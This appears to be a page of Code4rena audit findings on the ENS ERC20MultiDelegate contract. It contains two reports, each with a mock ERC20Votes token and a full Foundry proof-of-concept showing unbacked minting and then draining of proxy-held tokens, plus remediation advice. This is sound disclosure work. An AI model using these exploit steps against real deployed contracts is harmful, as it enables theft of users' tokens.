ENS - Dravee's results

Lines of code

https://github.com/code-423n4/2023-10-ens/blob/main/contracts/ERC20MultiDelegate.sol#L148 https://github.com/code-423n4/2023-10-ens/blob/main/contracts/ERC20MultiDelegate.sol#L160 https://github.com/code-423n4/2023-10-ens/blob/main/contracts/ERC20MultiDelegate.sol#L170 https://github.com/code-423n4/2023-10-ens/blob/main/contracts/ERC20MultiDelegate.sol#L101-L115

Vulnerability details

Forenote

There's an appropriately invalidated finding found by the bots during the bot-race about the unsafe use of transferFrom on non-standard ERC20 tokens: bot-report.md#d24-unsafe-use-of-erc20-transfertransferfrom. The finding is mostly invalid because, here, we're using ERC20Votes tokens, not ERC20 ones, hence the mentioned tokens like USDT aren't good arguments. I would like to argue, however, that the recommendation that would've been true here would be to wrap the transferFrom calls in a require statement, as the transferFrom functions used in ERC20Votes are still from the inherited ERC20 interface and therefore could be returning a boolean (transferFrom(address from, address to, uint256 amount) returns bool, see OpenZeppelin's implementation) instead of reverting, depending on the existence of such an ERC20Votes token. The assumption of an ERC20Votes token returning true or false instead of reverting will therefore be used in this argumentation and be considered a possibility, especially since the list of potential ERC20Votes tokens used by this contract isn't specified (ENSToken isn't enforced). Also, see these posts from the Discord channel:

Question by J4X — Hey @nickjohnson , are we correct to assume that this will only be deployed on ethereum?

Answer by nickjohnson — By us, yes, but consider the goal of the audit to be against any wrapped erc20votes token, not just $ens

About this finding

This finding is the second one in a series of 2 findings using a similar set of arguments, but the first is used here as a chain:

1. Some tokens break accounting by enabling the free minting of ERC20MultiDelegate tokens
2. Some tokens enable the direct draining of all approved ERC20Votes tokens

Some parts are similar between the two findings, but because they each deserved their own analysis and "should fix"-argumentation, they are submitted as separate findings.

Impact

Draining all ERC20Votes tokens.

Proof of Concept

Starting assumptions

The token used as ERC20Votes returns the boolean false with transferFrom instead of reverting (Not very likely implementation but still a possible and damaging edge-case).

MockERC20Votes contract

The following test/mocks/MockERC20Votes.sol file is a simplified ERC20Votes token that wraps the original transferFrom() function to return a bool instead of reverting:

pragma solidity ^0.8.2;

import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Votes.sol";
import "forge-std/console.sol";

contract MockERC20Votes is ERC20, ERC20Votes {
    constructor()
        ERC20("MockERC20Votes", "MOCK")
        ERC20Permit("MockERC20Votes")
    {
        _mint(msg.sender, 1e30);
    }

    function superTransferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool) {
        return super.transferFrom(sender, recipient, amount);
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        (bool success, bytes memory data) = address(this).delegatecall(
            abi.encodeCall(
                MockERC20Votes.superTransferFrom,
                (sender, recipient, amount)
            )
        );

        console.log("success: ", success);

        return success;
    }

    // The following functions are overrides required by Solidity.

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal override(ERC20, ERC20Votes) {
        super._afterTokenTransfer(from, to, amount);
    }

    function _mint(
        address to,
        uint256 amount
    ) internal override(ERC20, ERC20Votes) {
        super._mint(to, amount);
    }

    function _burn(
        address account,
        uint256 amount
    ) internal override(ERC20, ERC20Votes) {
        super._burn(account, amount);
    }
}

The tests test_transferFromReturningTrue and test_transferFromReturningFalse are provided to showcase an example implementation of an ERC20Votes token that, instead of reverting, would return a boolean success == false. The reason for such a token's existence won't be discussed as the sheer possibility of its existence is the only argument that is of interest to us (and demands from customers are sometimes surprising). As yet again another reminder: the "standard" is still respected in this argumentation.

Foundry Setup

Add require("@nomicfoundation/hardhat-foundry") in hardhat.config.js and run this to be able to run the POC:

npm install --save-dev @nomicfoundation/hardhat-foundry
npx hardhat init-foundry

Test contract

1. Create a test/delegatemulti.t.sol file containing the code below and focus on test_directDraining():

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.2;

import "forge-std/Test.sol";
import "forge-std/console.sol";
import "test/mocks/MockERC20Votes.sol";
import "contracts/ERC20MultiDelegate.sol";
import "@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol";

contract DelegateCallTest is IERC1155Receiver, Test {
    address alice = makeAddr("Alice");
    address bob = makeAddr("Bob");
    MockERC20Votes votesToken;
    ERC20MultiDelegate delegateToken;
    address proxyAddress1;
    address proxyAddress2;
    address proxyAddress3;

    function setUp() public {
        // Deploying the tokens
        votesToken = new MockERC20Votes();
        delegateToken = new ERC20MultiDelegate(
            votesToken,
            "https://code4rena.com/"
        );

        // Giving some votesToken to Alice and Bob
        votesToken.transfer(alice, 5);
        votesToken.transfer(bob, 4);

        // Initializing the ERC20MultiDelegate token with the first delegateMulti call
        uint256[] memory initialSources; // No sources initially, just creating proxies and transferring votesToken
        uint256[] memory initialTargets = new uint256[](3);
        initialTargets[0] = 1;
        initialTargets[1] = 2;
        initialTargets[2] = 3;
        uint256[] memory initialAmounts = new uint256[](3);
        initialAmounts[0] = 0;
        initialAmounts[1] = 10;
        initialAmounts[2] = 20;
        votesToken.approve(address(delegateToken), type(uint256).max);
        delegateToken.delegateMulti(
            initialSources,
            initialTargets,
            initialAmounts
        );
        proxyAddress1 = retrieveProxyContractAddress(address(uint160(1)));
        proxyAddress2 = retrieveProxyContractAddress(address(uint160(2)));
        proxyAddress3 = retrieveProxyContractAddress(address(uint160(3)));

        // Making sure that the deployer's balance of ERC20MultiDelegate tokens matches the deployed proxies' balance.
        assertEq(
            votesToken.balanceOf(proxyAddress1),
            delegateToken.balanceOf(address(this), 1)
        );
        assertEq(
            votesToken.balanceOf(proxyAddress2),
            delegateToken.balanceOf(address(this), 2)
        );
        assertEq(
            votesToken.balanceOf(proxyAddress3),
            delegateToken.balanceOf(address(this), 3)
        );

        // Alice approving ERC20MultiDelegate for her ERC20Votes tokens
        vm.prank(alice);
        votesToken.approve(address(delegateToken), type(uint256).max);
    }

    // Bug 1: Some tokens break accounting by enabling the free minting of `ERC20MultiDelegate` tokens
    function test_freeMinting() public {
        /* Showing the initial conditions through asserts */
        // proxyAddress1 has 0 votesToken
        assertEq(votesToken.balanceOf(proxyAddress1), 0);
        // Alice has 5 voteTokens
        assertEq(votesToken.balanceOf(alice), 5);
        // Alice has 0 ERC20MultiDelegate tokens for ID(1)
        assertEq(delegateToken.balanceOf(alice, 1), 0);

        /* Begin minting for free */
        vm.startPrank(alice);
        uint256[] memory sources;
        // Alice is targeting existing and non-existing proxies
        uint256[] memory targets = new uint256[](7);
        targets[0] = 1;
        targets[1] = 2;
        targets[2] = 3;
        targets[3] = 4;
        targets[4] = 5;
        targets[5] = 6;
        targets[6] = 7;
        // Alice is using an arbitrary amount, exceeding the proxies' balances
        uint256[] memory amounts = new uint256[](7);
        amounts[0] = 100;
        amounts[1] = 100;
        amounts[2] = 100;
        amounts[3] = 100;
        amounts[4] = 100;
        amounts[5] = 100;
        amounts[6] = 100;
        // Making the call, not reverting
        delegateToken.delegateMulti(sources, targets, amounts);
        vm.stopPrank();

        /* Showing the final balances */
        // There still aren't any ERC20Votes balance for proxyAddress1
        assertEq(votesToken.balanceOf(proxyAddress1), 0);
        // Alice's ERC20Votes balance stayed the same
        assertEq(votesToken.balanceOf(alice), 5);
        // However, ERC20MultiDelegate balances for IDs between 1 and 7 increased for Alice, effectively breaking accounting
        assertEq(delegateToken.balanceOf(alice, 1), 100);
        assertEq(delegateToken.balanceOf(alice, 2), 100);
        assertEq(delegateToken.balanceOf(alice, 3), 100);
        assertEq(delegateToken.balanceOf(alice, 4), 100);
        assertEq(delegateToken.balanceOf(alice, 5), 100);
        assertEq(delegateToken.balanceOf(alice, 6), 100);
        assertEq(delegateToken.balanceOf(alice, 7), 100);
    }

    // Bug 2: Some tokens enable the direct draining of all approved `ERC20Votes` tokens
    function test_directDraining() public {
        /* Showing the initial conditions through asserts */
        // Proxies' votesToken balance
        assertEq(votesToken.balanceOf(proxyAddress1), 0);
        assertEq(votesToken.balanceOf(proxyAddress2), 10);
        assertEq(votesToken.balanceOf(proxyAddress3), 20);
        // Alice's votesToken balance (from setUp())
        assertEq(votesToken.balanceOf(alice), 5);
        // Alice's delegateToken balance for each ID is initially 0
        assertEq(delegateToken.balanceOf(alice, 1), 0);
        assertEq(delegateToken.balanceOf(alice, 2), 0);
        assertEq(delegateToken.balanceOf(alice, 3), 0);

        /* Begin minting for free */
        vm.startPrank(alice);
        uint256[] memory sourcesStep1;
        uint256[] memory targetsStep1 = new uint256[](3);
        targetsStep1[0] = 1;
        targetsStep1[1] = 2;
        targetsStep1[2] = 3;
        uint256[] memory amountsStep1 = new uint256[](3);
        amountsStep1[0] = 100;
        amountsStep1[1] = 100;
        amountsStep1[2] = 100;
        delegateToken.delegateMulti(sourcesStep1, targetsStep1, amountsStep1);
        assertEq(delegateToken.balanceOf(alice, 1), 100);
        assertEq(delegateToken.balanceOf(alice, 2), 100);
        assertEq(delegateToken.balanceOf(alice, 3), 100);

        /* Using newly-minted amounts to drain proxies */
        uint256[] memory targetsStep2;
        uint256[] memory sourcesStep2 = new uint256[](3);
        sourcesStep2[0] = 1;
        sourcesStep2[1] = 2;
        sourcesStep2[2] = 3;
        uint256[] memory amountsStep2 = new uint256[](3);
        amountsStep2[0] = 0;
        amountsStep2[1] = 10;
        amountsStep2[2] = 20;
        delegateToken.delegateMulti(sourcesStep2, targetsStep2, amountsStep2);

        /* Showing the final balances */

        // Proxies are drained
        assertEq(votesToken.balanceOf(proxyAddress1), 0);
        assertEq(votesToken.balanceOf(proxyAddress2), 0);
        assertEq(votesToken.balanceOf(proxyAddress3), 0);

        // Alice's votesToken balance is now "InitialBalance + balances from proxies"
        assertEq(votesToken.balanceOf(alice), 5 + 10 + 20);

        // Alice really did use her fake ERC20MultiDelegate balance
        assertEq(delegateToken.balanceOf(alice, 1), 100);
        assertEq(delegateToken.balanceOf(alice, 2), 90);
        assertEq(delegateToken.balanceOf(alice, 3), 80);

        vm.stopPrank();
    }

    /** BELOW ARE JUST UTILITIES */

    // Making sure that the MockERC20Votes returns false instead of reverting on failure for transferFrom
    function test_transferFromReturningFalse() public {
        // If you don't approve yourself, transferFrom won't be directly callable
        vm.prank(bob);
        bool success = votesToken.transferFrom(alice, bob, 5);
        assertEq(success, false);
    }

    // Making sure that the MockERC20Votes returns true on success for transferFrom
    function test_transferFromReturningTrue() public {
        // There's a need to approve yourself for a direct call to transferFrom(), surprisingly
        vm.startPrank(alice);
        votesToken.approve(alice, type(uint256).max);
        bool success = votesToken.transferFrom(alice, bob, 5);
        vm.stopPrank();
        assertEq(success, true);
    }

    // copy-pasting and adapting ERC20MultiDelegate.retrieveProxyContractAddress
    function retrieveProxyContractAddress(
        address _delegate
    ) private view returns (address) {
        bytes memory bytecode = abi.encodePacked(
            type(ERC20ProxyDelegator).creationCode,
            abi.encode(votesToken, _delegate)
        );
        bytes32 hash = keccak256(
            abi.encodePacked(
                bytes1(0xff),
                address(delegateToken),
                uint256(0), // salt
                keccak256(bytecode)
            )
        );
        return address(uint160(uint256(hash)));
    }

    // No need to read below (IERC1155Receiver implementation)
    function onERC1155Received(
        address operator,
        address from,
        uint256 id,
        uint256 value,
        bytes calldata data
    ) external returns (bytes4) {
        return IERC1155Receiver.onERC1155Received.selector;
    }

    function onERC1155BatchReceived(
        address operator,
        address from,
        uint256[] calldata ids,
        uint256[] calldata values,
        bytes calldata data
    ) external returns (bytes4) {
        return IERC1155Receiver.onERC1155BatchReceived.selector;
    }

    // ERC165 interface support
    function supportsInterface(
        bytes4 interfaceID
    ) external view returns (bool) {
        return
            interfaceID == 0x01ffc9a7 || // ERC165
            interfaceID == 0x4e2312e0; // ERC1155_ACCEPTED ^ ERC1155_BATCH_ACCEPTED;
    }
}

2. Run the test with forge test --mt test_directDraining and see this test passing

Here the layout of what's happening (the first 3 steps are like "Bug1: test_freeMinting"):

1. Initially, Alice owns some ERC20Votes tokens (5) but no ERC20MultiDelegate tokens
2. Alice calls delegateMulti() by targeting existing IDs on ERC20MultiDelegate and inputting amount == 100 for each of them
3. The lack of revert (as a reminder, the transferFrom() function in this example returns a boolean) makes it that the silent failure enables Alice to mint any amount on any ID on ERC20MultiDelegate
4. Alice can now use her newly minted balance of ERC20MultiDelegate tokens by calling delegateMulti(), with this time the deployed proxy contracts as sources
5. All ERC20Votes tokens got drained from all deployed proxies and were transferred to Alice

Here we're both breaking accounting (bug1) and taking advantage of approved funds to the main contract by the deployed proxies to drain all ERC20Votes tokens.

Again, this contract's security shouldn't depend on the behavior of an external ERC20Votes contract (it leaves vectors open), hence this is a "Should fix" bug, meaning at least Medium severity. The token-draining part makes an argument for a higher severity, hence the submission as High Severity.

Remediation

While wrapping the transferFrom() statements in a require statement is a good idea that was suggested in the previous bug, it would also be advisable to try and enforce an invariant by checking for the source's balance inside _reimburse(), just like it is done inside _processDelegation() (albeit, there, it's for the ERC20MultiDelegate's internal balance, and not ERC20Votes's external balance check. The principle still holds and adding a check would increase security. Note that, while the existing assert() can be sidestepped, and this is detailed in another finding, it wouldn't be the case with ERC20Votes's external balance due to the immediate transfer)

Assessed type

Token-Transfer

Lines of code

https://github.com/code-423n4/2023-10-ens/blob/main/contracts/ERC20MultiDelegate.sol#L148 https://github.com/code-423n4/2023-10-ens/blob/main/contracts/ERC20MultiDelegate.sol#L160 https://github.com/code-423n4/2023-10-ens/blob/main/contracts/ERC20MultiDelegate.sol#L170 https://github.com/code-423n4/2023-10-ens/blob/main/contracts/ERC20MultiDelegate.sol#L104-L107 https://github.com/code-423n4/2023-10-ens/blob/main/contracts/ERC20MultiDelegate.sol#L113-L115

Vulnerability details

Forenote

There's an appropriately invalidated finding found by the bots during the bot-race about the unsafe use of transferFrom on non-standard ERC20 tokens: bot-report.md#d24-unsafe-use-of-erc20-transfertransferfrom. The finding is mostly invalid because, here, we're using ERC20Votes tokens, not ERC20 ones, hence the mentioned tokens like USDT aren't good arguments. I would like to argue, however, that the recommendation that would've been true here would be to wrap the transferFrom calls in a require statement, as the transferFrom functions used in ERC20Votes are still from the inherited ERC20 interface and therefore could be returning a boolean (transferFrom(address from, address to, uint256 amount) returns bool, see OpenZeppelin's implementation) instead of reverting, depending on the existence of such an ERC20Votes token. The assumption of an ERC20Votes token returning true or false instead of reverting will therefore be used in this argumentation and be considered a possibility, especially since the list of potential ERC20Votes tokens used by this contract isn't specified (ENSToken isn't enforced). Also, see these posts from the Discord channel:

Question by J4X — Hey @nickjohnson , are we correct to assume that this will only be deployed on ethereum?

Answer by nickjohnson — By us, yes, but consider the goal of the audit to be against any wrapped erc20votes token, not just $ens

About this finding

This finding is the first one in a series of 2 findings using a similar set of arguments, but the second one uses this first bug as a chain:

1. Some tokens break accounting by enabling the free minting of ERC20MultiDelegate tokens
2. Some tokens enable the direct draining of all approved ERC20Votes tokens

Some parts are similar between the two findings, but because they each deserved their own analysis and "should fix"-argumentation, they are submitted as separate findings.

Impact

Free minting of ERC20MultiDelegate tokens.

Breaking accounting.

Proof of Concept

Starting assumptions

The token used as ERC20Votes returns the boolean false with transferFrom instead of reverting (Not very likely implementation but still a possible and damaging edge-case).

MockERC20Votes contract

The following test/mocks/MockERC20Votes.sol file is a simplified ERC20Votes token that wraps the original transferFrom() function to return a bool instead of reverting:

pragma solidity ^0.8.2;

import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Votes.sol";
import "forge-std/console.sol";

contract MockERC20Votes is ERC20, ERC20Votes {
    constructor()
        ERC20("MockERC20Votes", "MOCK")
        ERC20Permit("MockERC20Votes")
    {
        _mint(msg.sender, 1e30);
    }

    function superTransferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool) {
        return super.transferFrom(sender, recipient, amount);
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        (bool success, bytes memory data) = address(this).delegatecall(
            abi.encodeCall(
                MockERC20Votes.superTransferFrom,
                (sender, recipient, amount)
            )
        );

        console.log("success: ", success);

        return success;
    }

    // The following functions are overrides required by Solidity.

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal override(ERC20, ERC20Votes) {
        super._afterTokenTransfer(from, to, amount);
    }

    function _mint(
        address to,
        uint256 amount
    ) internal override(ERC20, ERC20Votes) {
        super._mint(to, amount);
    }

    function _burn(
        address account,
        uint256 amount
    ) internal override(ERC20, ERC20Votes) {
        super._burn(account, amount);
    }
}

The tests test_transferFromReturningTrue and test_transferFromReturningFalse are provided to showcase an example implementation of an ERC20Votes token that, instead of reverting, would return a boolean success == false. The reason for such a token's existence won't be discussed as the sheer possibility of its existence is the only argument that is of interest to us (and demands from customers are sometimes surprising). As yet again another reminder: the "standard" is still respected in this argumentation.

Foundry Setup

Add require("@nomicfoundation/hardhat-foundry") in hardhat.config.js and run this to be able to run the POC:

npm install --save-dev @nomicfoundation/hardhat-foundry
npx hardhat init-foundry

Test contract

1. Create a test/delegatemulti.t.sol file containing the code below and focus on test_freeMinting():

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.2;

import "forge-std/Test.sol";
import "forge-std/console.sol";
import "test/mocks/MockERC20Votes.sol";
import "contracts/ERC20MultiDelegate.sol";
import "@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol";

contract DelegateCallTest is IERC1155Receiver, Test {
    address alice = makeAddr("Alice");
    address bob = makeAddr("Bob");
    MockERC20Votes votesToken;
    ERC20MultiDelegate delegateToken;
    address proxyAddress1;
    address proxyAddress2;
    address proxyAddress3;

    function setUp() public {
        // Deploying the tokens
        votesToken = new MockERC20Votes();
        delegateToken = new ERC20MultiDelegate(
            votesToken,
            "https://code4rena.com/"
        );

        // Giving some votesToken to Alice and Bob
        votesToken.transfer(alice, 5);
        votesToken.transfer(bob, 4);

        // Initializing the ERC20MultiDelegate token with the first delegateMulti call
        uint256[] memory initialSources; // No sources initially, just creating proxies and transferring votesToken
        uint256[] memory initialTargets = new uint256[](3);
        initialTargets[0] = 1;
        initialTargets[1] = 2;
        initialTargets[2] = 3;
        uint256[] memory initialAmounts = new uint256[](3);
        initialAmounts[0] = 0;
        initialAmounts[1] = 10;
        initialAmounts[2] = 20;
        votesToken.approve(address(delegateToken), type(uint256).max);
        delegateToken.delegateMulti(
            initialSources,
            initialTargets,
            initialAmounts
        );
        proxyAddress1 = retrieveProxyContractAddress(address(uint160(1)));
        proxyAddress2 = retrieveProxyContractAddress(address(uint160(2)));
        proxyAddress3 = retrieveProxyContractAddress(address(uint160(3)));

        // Making sure that the deployer's balance of ERC20MultiDelegate tokens matches the deployed proxies' balance.
        assertEq(
            votesToken.balanceOf(proxyAddress1),
            delegateToken.balanceOf(address(this), 1)
        );
        assertEq(
            votesToken.balanceOf(proxyAddress2),
            delegateToken.balanceOf(address(this), 2)
        );
        assertEq(
            votesToken.balanceOf(proxyAddress3),
            delegateToken.balanceOf(address(this), 3)
        );

        // Alice approving ERC20MultiDelegate for her ERC20Votes tokens
        vm.prank(alice);
        votesToken.approve(address(delegateToken), type(uint256).max);
    }

    // Bug 1: Some tokens break accounting by enabling the free minting of `ERC20MultiDelegate` tokens
    function test_freeMinting() public {
        /* Showing the initial conditions through asserts */
        // proxyAddress1 has 0 votesToken
        assertEq(votesToken.balanceOf(proxyAddress1), 0);
        // Alice has 5 voteTokens
        assertEq(votesToken.balanceOf(alice), 5);
        // Alice has 0 ERC20MultiDelegate tokens for ID(1)
        assertEq(delegateToken.balanceOf(alice, 1), 0);

        /* Begin minting for free */
        vm.startPrank(alice);
        uint256[] memory sources;
        // Alice is targeting existing and non-existing proxies
        uint256[] memory targets = new uint256[](7);
        targets[0] = 1;
        targets[1] = 2;
        targets[2] = 3;
        targets[3] = 4;
        targets[4] = 5;
        targets[5] = 6;
        targets[6] = 7;
        // Alice is using an arbitrary amount, exceeding the proxies' balances
        uint256[] memory amounts = new uint256[](7);
        amounts[0] = 100;
        amounts[1] = 100;
        amounts[2] = 100;
        amounts[3] = 100;
        amounts[4] = 100;
        amounts[5] = 100;
        amounts[6] = 100;
        // Making the call, not reverting
        delegateToken.delegateMulti(sources, targets, amounts);
        vm.stopPrank();

        /* Showing the final balances */
        // There still aren't any ERC20Votes balance for proxyAddress1
        assertEq(votesToken.balanceOf(proxyAddress1), 0);
        // Alice's ERC20Votes balance stayed the same
        assertEq(votesToken.balanceOf(alice), 5);
        // However, ERC20MultiDelegate balances for IDs between 1 and 7 increased for Alice, effectively breaking accounting
        assertEq(delegateToken.balanceOf(alice, 1), 100);
        assertEq(delegateToken.balanceOf(alice, 2), 100);
        assertEq(delegateToken.balanceOf(alice, 3), 100);
        assertEq(delegateToken.balanceOf(alice, 4), 100);
        assertEq(delegateToken.balanceOf(alice, 5), 100);
        assertEq(delegateToken.balanceOf(alice, 6), 100);
        assertEq(delegateToken.balanceOf(alice, 7), 100);
    }

    // Bug 2: Some tokens enable the direct draining of all approved `ERC20Votes` tokens
    function test_directDraining() public {
        /* Showing the initial conditions through asserts */
        // Proxies' votesToken balance
        assertEq(votesToken.balanceOf(proxyAddress1), 0);
        assertEq(votesToken.balanceOf(proxyAddress2), 10);
        assertEq(votesToken.balanceOf(proxyAddress3), 20);
        // Alice's votesToken balance (from setUp())
        assertEq(votesToken.balanceOf(alice), 5);
        // Alice's delegateToken balance for each ID is initially 0
        assertEq(delegateToken.balanceOf(alice, 1), 0);
        assertEq(delegateToken.balanceOf(alice, 2), 0);
        assertEq(delegateToken.balanceOf(alice, 3), 0);

        /* Begin minting for free */
        vm.startPrank(alice);
        uint256[] memory sourcesStep1;
        uint256[] memory targetsStep1 = new uint256[](3);
        targetsStep1[0] = 1;
        targetsStep1[1] = 2;
        targetsStep1[2] = 3;
        uint256[] memory amountsStep1 = new uint256[](3);
        amountsStep1[0] = 100;
        amountsStep1[1] = 100;
        amountsStep1[2] = 100;
        delegateToken.delegateMulti(sourcesStep1, targetsStep1, amountsStep1);
        assertEq(delegateToken.balanceOf(alice, 1), 100);
        assertEq(delegateToken.balanceOf(alice, 2), 100);
        assertEq(delegateToken.balanceOf(alice, 3), 100);

        /* Using newly-minted amounts to drain proxies */
        uint256[] memory targetsStep2;
        uint256[] memory sourcesStep2 = new uint256[](3);
        sourcesStep2[0] = 1;
        sourcesStep2[1] = 2;
        sourcesStep2[2] = 3;
        uint256[] memory amountsStep2 = new uint256[](3);
        amountsStep2[0] = 0;
        amountsStep2[1] = 10;
        amountsStep2[2] = 20;
        delegateToken.delegateMulti(sourcesStep2, targetsStep2, amountsStep2);

        /* Showing the final balances */

        // Proxies are drained
        assertEq(votesToken.balanceOf(proxyAddress1), 0);
        assertEq(votesToken.balanceOf(proxyAddress2), 0);
        assertEq(votesToken.balanceOf(proxyAddress3), 0);

        // Alice's votesToken balance is now "InitialBalance + balances from proxies"
        assertEq(votesToken.balanceOf(alice), 5 + 10 + 20);

        // Alice really did use her fake ERC20MultiDelegate balance
        assertEq(delegateToken.balanceOf(alice, 1), 100);
        assertEq(delegateToken.balanceOf(alice, 2), 90);
        assertEq(delegateToken.balanceOf(alice, 3), 80);

        vm.stopPrank();
    }

    /** BELOW ARE JUST UTILITIES */

    // Making sure that the MockERC20Votes returns false instead of reverting on failure for transferFrom
    function test_transferFromReturningFalse() public {
        // If you don't approve yourself, transferFrom won't be directly callable
        vm.prank(bob);
        bool success = votesToken.transferFrom(alice, bob, 5);
        assertEq(success, false);
    }

    // Making sure that the MockERC20Votes returns true on success for transferFrom
    function test_transferFromReturningTrue() public {
        // There's a need to approve yourself for a direct call to transferFrom(), surprisingly
        vm.startPrank(alice);
        votesToken.approve(alice, type(uint256).max);
        bool success = votesToken.transferFrom(alice, bob, 5);
        vm.stopPrank();
        assertEq(success, true);
    }

    // copy-pasting and adapting ERC20MultiDelegate.retrieveProxyContractAddress
    function retrieveProxyContractAddress(
        address _delegate
    ) private view returns (address) {
        bytes memory bytecode = abi.encodePacked(
            type(ERC20ProxyDelegator).creationCode,
            abi.encode(votesToken, _delegate)
        );
        bytes32 hash = keccak256(
            abi.encodePacked(
                bytes1(0xff),
                address(delegateToken),
                uint256(0), // salt
                keccak256(bytecode)
            )
        );
        return address(uint160(uint256(hash)));
    }

    // No need to read below (IERC1155Receiver implementation)
    function onERC1155Received(
        address operator,
        address from,
        uint256 id,
        uint256 value,
        bytes calldata data
    ) external returns (bytes4) {
        return IERC1155Receiver.onERC1155Received.selector;
    }

    function onERC1155BatchReceived(
        address operator,
        address from,
        uint256[] calldata ids,
        uint256[] calldata values,
        bytes calldata data
    ) external returns (bytes4) {
        return IERC1155Receiver.onERC1155BatchReceived.selector;
    }

    // ERC165 interface support
    function supportsInterface(
        bytes4 interfaceID
    ) external view returns (bool) {
        return
            interfaceID == 0x01ffc9a7 || // ERC165
            interfaceID == 0x4e2312e0; // ERC1155_ACCEPTED ^ ERC1155_BATCH_ACCEPTED;
    }
}

2. Run the test with forge test --mt test_freeMinting and see this test passing

Here the layout of what's happening:

1. Initially, Alice owns some ERC20Votes tokens (5) but no ERC20MultiDelegate tokens
2. Alice calls delegateMulti() by targeting existing and non-existing IDs on ERC20MultiDelegate and inputting amount == 100 for each of them
3. The lack of revert (as a reminder, the transferFrom() function in this example returns a boolean) makes it that the silent failure enables Alice to mint any amount on any ID on ERC20MultiDelegate

What happened here is that any arbitrary ID on ERC20MultiDelegate got minted any amount for free, be it with deployed or undeployed proxies (with or without balances), therefore breaking accounting (the synchronization between ERC20MultiDelegate and ERC20Votes)

It can be further argued that basing the protocol's behavior on an external contract that could be have a different implementation from what's expected (unlikely implementation but still respecting the standard and still possible), added to the fact that no other place in the code would catch this behavior, is arguably enough to make this finding fall under the "Should fix" category. Hence the Medium Severity

Remediation

Simply wrap the transferFrom() statements in a require statement.

Assessed type

Token-Transfer